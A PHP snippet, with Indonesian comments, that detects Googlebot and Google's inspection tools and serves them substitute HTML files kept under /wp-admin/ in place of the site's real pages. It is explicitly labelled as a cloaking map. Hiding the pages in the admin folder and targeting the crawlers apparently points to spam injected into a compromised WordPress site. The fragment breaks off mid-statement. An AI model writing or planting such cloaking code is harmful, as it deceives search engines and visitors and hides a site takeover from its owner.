// 1. Fungsi Cek Googlebot (Diperluas agar pasti mendeteksi GSC Live Test) function isGoogleBot() { $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; return (bool) preg_match('/Googlebot|Google-Site-Verification|Google-InspectionTool|Mediapartners-Google/i', $ua); } // 2. Eksekusi Peta Halaman jika Pengunjung adalah Googlebot if (isGoogleBot()) { $uri = rtrim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/') ?: '/'; // Daftar Mapping File Cloaking (URL Target => File Fisik) $pageMap = [ '/' => '/vrcorporate.html', '/project-5.php' => '/wp-admin/konten50.html', '/item-3.php' => '/wp-admin/konten52.html', '/project-1.php' => '/wp-admin/konten53.html', '/item-20.php' => '/wp-admin/konten54.html', '/contact.php' => '/wp-admin/konten55.html', '/item-4.php' => '/wp-admin/konten57.html', '/item-6.php' => '/wp-admin/konten58.html', '/item-7.php' => '/wp-admin/konten59.html', ]; // Jika URI ada dalam mapping if (isset($pageMap[$uri])) { $file = __DIR__ . $pageMap[$uri]; if (file_exists($file) && is_readable($file)) { http_response_code(200); header('Content-Type: text/html; charset=utf-8'); readfile($file); exit; } } // Jika Googlebot mengakses URL yang tidak ada di $pageMap http_response_code(404); exit('